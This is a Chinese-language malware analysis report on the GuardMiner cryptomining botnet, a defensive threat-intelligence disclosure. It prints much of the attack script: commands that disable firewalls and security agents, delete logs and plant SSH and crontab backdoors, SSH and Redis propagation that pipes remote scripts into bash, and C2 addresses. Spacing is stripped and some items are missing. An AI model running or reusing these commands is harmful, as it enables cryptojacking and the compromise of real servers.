●该挖矿木马具备较强的自动化攻击和扩散感染能力;
●攻击成功后的恶意脚本会关闭linux防火墙,使系统安全性进一步下降;
●会禁用或卸载多款云主机安全软件;
●从比特币交易记录中动态获取C2地址;
●会清除竞品挖矿木马,杀死CPU占用超过40%的进程;
●依次下载挖矿程序、守护程序和攻击程序;
●通过通过安装crontab任务、写入SSHauthorized_keys公钥留置后门及守护程序phpguard进行持久化控制;
●其下载的攻击模块networkmanager利用9种服务器应用组件漏洞攻击传播。
腾讯安全威胁情报中心检测到GuardMiner挖矿木马团伙新的攻击活动,该团伙利用Elasticsearch远程代码执行漏洞(CVE-2015-1427)等9种漏洞武器针对云上主机发起攻击。根据检测数据推算,受害主机已过万台,该挖矿木马会卸载云主机安装的安全软件。腾讯安全专家建议企业安全运维人员积极修复服务器组件漏洞,避免使用弱口令,防止云主机被该团伙使用的漏洞武器攻陷。GuardMiner最早出现于2019年,至今已活跃超过2年,该挖矿木马通过Go语言编写的二进制程序针对Windows平台和Linux平台进行攻击传播,通过crontab定时任务以及安装SSH公钥后门进行持久化控制,并且还会利用比特币的交易记录来动态更新C2地址。
GuardMiner挖矿团伙最新的攻击活动表明,其依赖的攻击传播漏洞武器增加到9种:
1)CCTV设备RCE漏洞;
3)Drupal框架CVE-2018-7600漏洞;
5)SpringRCE漏洞CVE-2018-1273;
6)ThinkphpV5高危漏洞;
7)WebLogicRCE漏洞CVE-2017-10271;
8)SQLServer弱口令爆破;
9)ElasticsearchRCE漏洞CVE-2015-1427、CVE-2014-3120
GuardMiner挖矿团伙入侵云主机后的挖矿行为会对服务器性能产生严重负面影响,服务器的正常业务有中断或崩溃风险。挖矿团伙在失陷服务器留置后门,关闭linux防火墙、卸载云服务器安全软件等行为,会导致服务器安全性受损,增加被其他黑客组织攻击的风险。
文件和进程
/etc/phpguard
/etc/phpupdate
/etc/networkmanager
Crontab任务:
*/30****sh/etc/newdat.sh
*/2****curl-fsSLhxxp://h.epelcdn.com/dd210131/pm.sh
SSH公钥(/root/.ssh/authorized_keys):
腾讯安全全系列产品支持对GuardMiner挖矿木马攻击传播的各个环节进行检测拦截。
具体响应清单如下:
Elasticsearch是用Java语言开发的,并作为Apache许可条款下的开放源码发布,是一种流行的企业级搜索引擎。Elasticsearch用于云计算中,能够达到实时搜索,稳定,可靠,快速,安装使用方便。
搜索引擎支持使用脚本代码(Groovy)作为表达式进行数据操作,并且加入了沙盒进机制对危险的代码进行拦截,由于沙盒限制的不严格,导致产生远程代码执行漏洞CVE-2015-1427。该漏洞的攻击代码已被公开:hxxps://github.com/t0kx/exploit-CVE-2015-1427/blob/master/exploit.sh
腾讯云防火墙检测到黑客利用CVE-2015-1427漏洞攻击云主机:
利用漏洞执行的恶意命令为:
wgethxxp://185.181.10.234/E5DB0E07C3D7BE80V520/init.sh-P/tmp/sssooo
我们对命令下载执行的脚本init.sh进行分析发现其属于挖矿僵尸网络GuardMiner。
1.init.sh关闭selinux防火墙
setenforce02>dev/null
echoSELINUX=disabled>/etc/sysconfig/selinux2>/dev/null
2.清理缓存
sync&&echo3>/proc/sys/vm/drop_caches
3.获取crontab目录和SSH公钥认证文件
crondir='/var/spool/cron/'"$USER"
cont=`cat${crondir}`
ssht=`cat/root/.ssh/authorized_keys`
4.将下载程序curl、wget重命名为cdt、wdt
bbdir="/usr/bin/curl"
bbdira="/usr/bin/cdt"
ccdir="/usr/bin/wget"
ccdira="/usr/bin/wdt"
mv/usr/bin/curl/usr/bin/url
mv/usr/bin/url/usr/bin/cdt
mv/usr/bin/cur/usr/bin/cdt
mv/usr/bin/cdl/usr/bin/cdt
mv/usr/bin/cd1/usr/bin/cdt
mv/usr/bin/wget/usr/bin/get
mv/usr/bin/get/usr/bin/wdt
mv/usr/bin/wge/usr/bin/wdt
mv/usr/bin/wdl/usr/bin/wdt
mv/usr/bin/wd1/usr/bin/wdt
5.设置Linux系统能打开的最大文件数量
ulimit-n65535
6.删除系统日志文件
rm-rf/var/log/syslog
7.设置tmp目录无法被删除
chattr-iua/tmp/
chattr-iua/var/tmp/
8.关闭Linux防火墙,删除过滤规则
ufwdisable
iptables-F
9.禁用看门狗程序
echo'0'>/proc/sys/kernel/nmi_watchdog
echo'kernel.nmi_watchdog=0'>>/etc/sysctl.conf
10.卸载阿里云骑士等云主机安全软件
ifpsaux|grep-i'[a]liyun';then
pkillaliyun-service
rm-rf/etc/init.d/agentwatch/usr/sbin/aliyun-service
rm-rf/usr/local/aegis*
systemctlstopaliyun.service
systemctldisablealiyun.service
servicebcm-agentstop
yumremovebcm-agent-y
apt-getremovebcm-agent-y
elifpsaux|grep-i'[y]unjing';then
/usr/local/qcloud/stargate/admin/uninstall.sh
/usr/local/qcloud/YunJing/uninst.sh
/usr/local/qcloud/monitor/barad/admin/uninstall.sh
Fi
serviceapparmorstop
systemctldisableapparmor
servicealiyun.servicestop
psaux|grep-vgrep|grep'aegis'|awk'{print$2}'|xargs-I%kill-9%
psaux|grep-vgrep|grep'Yun'|awk'{print$2}'|xargs-I%kill-9%
rm-rf/usr/local/aegis
11.设置系统最大内存分页
echo128>/proc/sys/vm/nr_hugepages
sysctl-wvm.nr_hugepages=128
12.设置挖矿木马、Shell脚本、扫描程序、守护程序的下载URL
miner_url="hxxp://176.123.7.127/id210131/phpupdate"
miner_url_backup="hxxp://h.epelcdn.com/dd210131/phpupdate"
sh_url="hxxp://176.123.7.127/id210131/newdat.sh"
sh_url_backup="hxxp://h.epelcdn.com/dd210131/newdat.sh"
config_url="hxxp://176.123.7.127/id210131/config.json"
config_url_backup="hxxp://h.epelcdn.com/dd210131/config.json"
scan_url="hxxp://176.123.7.127/id210131/networkmanager"
scan_url_backup="hxxp://h.epelcdn.com/dd210131/networkmanager"
watchdog_url="hxxp://176.123.7.127/id210131/phpguard"
watchdog_url_backup="hxxp://h.epelcdn.com/dd210131/phpguard"
13.从比特币的交易记录中动态获取C2地址
(使用的比特币钱包为:1Hf2CKoVDyPj7dNn3vgTeFMgDqVvbVNZQq)
if[-x"$(command-vcurl)"];then
aa="1Hf2CKoVDyPj7dNn3vgTeFMgDqVvbVNZQq"
cc=`curl-v--stderr-$bb|grepvalue|awk'{print$2}'|sed's/[[:punct:]]//g;s/[[:space:]]/\n/g'|awk'{printf("%x\n",$0)}'|awk'{printsubstr($0,3,2)}'|awk'{printstrtonum("0x"$0)}'|awk'NR==2'`"."`curl-v--stderr-$bb|grepvalue|awk'{print$2}'|sed's/[[:punct:]]//g;s/[[:space:]]/\n/g'|awk'{printf("%x\n",$0)}'|awk'{printsubstr($0,1,2)}'|awk'{printstrtonum("0x"$0)}'|awk'NR==2'`"."`curl-v--stderr-$bb|grepvalue|awk'{print$2}'|sed's/[[:punct:]]//g;s/[[:space:]]/\n/g'|awk'{printf("%x\n",$0)}'|awk'{printsubstr($0,3,2)}'|awk'{printstrtonum("0x"$0)}'|awk'NR==1'`"."`curl-v--stderr-$bb|grepvalue|awk'{print$2}'|sed's/[[:punct:]]//g;s/[[:space:]]/\n/g'|awk'{printf("%x\n",$0)}'|awk'{printsubstr($0,1,2)}'|awk'{printstrtonum("0x"$0)}'|awk'NR==1'`
fi
1.init.sh首先通过端口、进程名、文件名、钱包、矿池匹配,清除竞品挖矿木马
2.然后杀死tmp目录下的或者CPU占用超过40%的可疑程序。
3.清理被用来挖矿的docker容器
dockerps|grep"pocosow"|awk'{print$1}'|xargs-I%dockerkill%
dockerps|grep"gakeaws"|awk'{print$1}'|xargs-I%dockerkill%
dockerps|grep"azulu"|awk'{print$1}'|xargs-I%dockerkill%
dockerps|grep"auto"|awk'{print$1}'|xargs-I%dockerkill%
dockerps|grep"xmr"|awk'{print$1}'|xargs-I%dockerkill%
dockerps|grep"mine"|awk'{print$1}'|xargs-I%dockerkill%
dockerps|grep"monero"|awk'{print$1}'|xargs-I%dockerkill%
dockerps|grep"bash.shell"|awk'{print$1}'|xargs-I%dockerkill%
dockerps|grep"entrypoint.sh"|awk'{print$1}'|xargs-I%dockerkill%
dockerps|grep"/var/sbin/bash"|awk'{print$1}'|xargs-I%dockerkill%
dockerimages-a|grep"pocosow"|awk'{print$3}'|xargs-I%dockerrmi-f%
dockerimages-a|grep"gakeaws"|awk'{print$3}'|xargs-I%dockerrmi-f%
dockerimages-a|grep"buster-slim"|awk'{print$3}'|xargs-I%dockerrmi-f%
dockerimages-a|grep"hello-"|awk'{print$3}'|xargs-I%dockerrmi-f%
dockerimages-a|grep"azulu"|awk'{print$3}'|xargs-I%dockerrmi-f%
dockerimages-a|grep"registry"|awk'{print$3}'|xargs-I%dockerrmi-f%
dockerimages-a|grep"xmr"|awk'{print$3}'|xargs-I%dockerrmi-f%
dockerimages-a|grep"auto"|awk'{print$3}'|xargs-I%dockerrmi-f%
dockerimages-a|grep"mine"|awk'{print$3}'|xargs-I%dockerrmi-f%
dockerimages-a|grep"monero"|awk'{print$3}'|xargs-I%dockerrmi-f%
4.最后使用内置的URL依次下载攻击者控制的挖矿程序phpupdate、守护程序phpguard、攻击程序networkmanager并启动。
phpupdate采用开源挖矿程序XMRig编译:
1.init.sh通过安装crontab任务持久化。
if[!-f"/usr/bin/crontab"]
then
unlock_cron
echo"*/30****sh/etc/newdat.sh>/dev/null2>&1">>${crondir}
lock_cron
else
[[$cont=~"newdat.sh"]]||(crontab-l;echo"*/30****sh/etc/newdat.sh>/dev/null2>&1")|crontab-
2.通过写入SSHauthorized_keys公钥(留置后门)持久化。
chmod700/root/.ssh/
echo>>/root/.ssh/authorized_keys
chmod600root/.ssh/authorized_keys
3.通过守护程序phpguard持久化
phpguard主要完成以下功能:
1)将挖矿程序添加到Linuxcrontab定时任务(Windowssctasks计划任务)中并启动;
2)通过枚举进程检查挖矿程序是否处于运行状态,如果没有则启动程序,如果挖矿程序文件不存在则重新下载和运行。
1.init.sh通过查询本机/root/.ssh/known_hosts中的SSH登陆记录,进行免密登陆连接,然后执行远程脚本spre.sh:
if[-f/root/.ssh/known_hosts]&&[-f/root/.ssh/id_rsa.pub];then
forhin$(grep-oE"\b([0-9]{1,3}\.){3}[0-9]{1,3}\b"/root/.ssh/known_hosts);dossh-oBatchMode=yes-oConnectTimeout=5-oStrictHostKeyChecking=no$h'curl-o-hxxp://h.epelcdn.com/dd210131/spre.sh|bash>/dev/null2>&1&'&done
2.直接通过执行攻击脚本spre.sh:
$bbdir-fsSLhxxp://h.epelcdn.com/dd210131/spre.sh|bash
$bbdira-fsSLhxxp://h.epelcdn.com/dd210131/spre.sh|bash
3.通过Redis空口令和弱口令入侵
1)首先利用Pnscan、masscan批量扫描6379端口扫描发现Redis服务器,然后尝试进行无密码登陆,或者利用以下弱口令进行爆破登陆:
echo'configsetdbfilename"backup.db"'>.dat
echo'save'>>.dat
echo'flushall'>>.dat
echo'setbackup1"\n\n\n*/2****curl-fsSLhxxp://h.epelcdn.com/dd210131/pm.sh|sh\n\n"'>>.dat
echo'setbackup2"\n\n\n*/3****wget-q-O-hxxp://h.epelcdn.com/dd210131/pm.sh|sh\n\n"'>>.dat
echo'setbackup3"\n\n\n*/4****cdt-fsSLhxxp://localhost/bd210131/pm.sh|sh\n\n"'>>.dat
echo'setbackup4"\n\n\n*/5****wdt-q-O-hxxp://localhost/bd210131/pm.sh|sh\n\n"'>>.dat
echo'setbackup1"\n\n\n*/6****cd1-fsSLhxxp://h.epelcdn.com/dd210131/pm.sh|sh\n\n"'>>.dat
echo'setbackup2"\n\n\n*/7****wd1-q-O-hxxp://h.epelcdn.com/dd210131/pm.sh|sh\n\n"'>>.dat
echo'setbackup3"\n\n\n*/8****cd1-fsSLhxxp://localhost/bd210131/pm.sh|sh\n\n"'>>.dat
echo'setbackup4"\n\n\n*/9****wd1-q-O-hxxp://localhost/bd210131/pm.sh|sh\n\n"'>>.dat
echo'configsetdir"var/spool/cron/"'>>.dat
echo'configsetdbfilename"root"'>>.dat
echo'configsetdir"var/spool/cron/crontabs"'>>.dat
4.通过下载的攻击程序networkmanager进行横向移动,利用9种服务器应用的漏洞进行远程攻击,将go语言编写的木马程序networkmanager还原函数名的到如下内容:
__tmp_0324_scan_exp_Redis_exploit
__tmp_0324_scan_exp_re_exploit_connect_redis
__tmp_0324_scan_exp_re_exploit_rce
__tmp_0324_scan_exp_re_exploit_redis_brute
__tmp_0324_scan_exp_re_exploit_unaurority_rce
2)DrupalRCE漏洞CVE-2018-7600;
__tmp_0324_scan_exp_Drupal_exploit
__tmp_0324_scan_exp_dp_7600_rce
__tmp_0324_scan_exp_dp_7600_ver8_rce
__tmp_0324_scan_exp_dp_7600_ver8_rce_func1
__tmp_0324_scan_exp_dp_check_payload
__tmp_0324_scan_exp_dp_check_payload_func1
__tmp_0324_scan_exp_dp_isdrupal
__tmp_0324_scan_exp_dp_isdrupal_func1
__tmp_0324_scan_exp_Hadoop_exploit
__tmp_0324_scan_exp_hd_exploit_unaurority_rce
__tmp_0324_scan_exp_hd_exploit_unaurority_rce_func1
__tmp_0324_scan_exp_hd_exploit_unaurority_rce_func2
4)SpringRCE漏洞CVE-2018-1273;
__tmp_0324_scan_exp_Spring_exploit
__tmp_0324_scan_exp_sp_cve20181273_exists
__tmp_0324_scan_exp_sp_cve20181273_exists_func1
__tmp_0324_scan_exp_sp_cve20181273_exploit
__tmp_0324_scan_exp_sp_cve20181273_exploit_func1
5)ThinkphpV5高危漏洞;
__tmp_0324_scan_exp_Thinkphp_exploit
_tmp_0324_scan_exp_tp5_23_rce_Exists
__tmp_0324_scan_exp_tp5_23_rce_Exists_func1
__tmp_0324_scan_exp_tp5_rce_Exists
__tmp_0324_scan_exp_tp5_rce_Exists_func1
__tmp_0324_scan_exp_tp_exploit_tp5_23_rce_exp
__tmp_0324_scan_exp_tp_exploit_tp5_23_rce_exp_func1
__tmp_0324_scan_exp_tp_exploit_tp5_23rce
__tmp_0324_scan_exp_tp_exploit_tp5rce
__tmp_0324_scan_exp_tp_exploit_tp5rce_exp
__tmp_0324_scan_exp_tp_exploit_tp5rce_exp_func1
__tmp_0324_scan_exp_tp_isThinkphp
__tmp_0324_scan_exp_tp_isThinkphp_func1
6)WebLogicRCE漏洞CVE-2017-10271;
__tmp_0324_scan_exp_Weblogic_exploit
__tmp_0324_scan_exp_wl_cve201710271_rce
__tmp_0324_scan_exp_wl_cve201710271_rce_func1
__tmp_0324_scan_exp_wl_cve201710271_t_rce
__tmp_0324_scan_exp_wl_wls_urlistrue
__tmp_0324_scan_exp_wl_wls_urlistrue_func1
7)SQLServer爆破登陆后利用xp_cmdshell、SP_OACreate执行Payload;
__tmp_0324_scan_exp_Sqlserver_exploit
__tmp_0324_scan_exp_ss_crack_login
__tmp_0324_scan_exp_ss_execute_payload
__tmp_0324_scan_exp_ss_execute_sql
__tmp_0324_scan_exp_ss_exploit
__tmp_0324_scan_exp_ss_exploit_sp_oacreate
__tmp_0324_scan_exp_ss_exploit_xcmdshell
8)Elasticsearch远程代码执行漏洞CVE-2015-1427、CVE-2014-3120;
__tmp_0324_scan_exp_es_exploit_cve20143120_rce
__tmp_0324_scan_exp_es_exploit_cve20143120_rce_func1
__tmp_0324_scan_exp_es_exploit_cve20143120_t_rce
__tmp_0324_scan_exp_es_exploit_cve20151427_rce
__tmp_0324_scan_exp_es_exploit_cve20151427_rce_func1
__tmp_0324_scan_exp_es_exploit_cve20151427_t_rce
9)CCTV设备RCE漏洞。
__tmp_0324_scan_exp_Cctv_exploit
__tmp_0324_scan_exp_cc_is_shell_rce
__tmp_0324_scan_exp_cc_is_shell_rce_func1
__tmp_0324_scan_exp_cc_shell_rce
__tmp_0324_scan_exp_cc_shell_rce_func1
__tmp_0324_scan_exp_cc_shell_t_rce
腾讯云防火墙已支持拦截利用Elasticsearch漏洞发起的恶意攻击行为。
腾讯主机安全可对病毒攻击过程中产生得木马落地文件进行自动检测,用户可后台一键隔离,删除。
私有云用户可通过腾讯高级威胁检测系统进行流量检测分析,及时发现黑客团伙的攻击活动。
腾讯高级威胁检测系统(御界)可检测到利用Elasticsearch远程代码执行漏洞CVE-2015-1427发起的恶意攻击行为。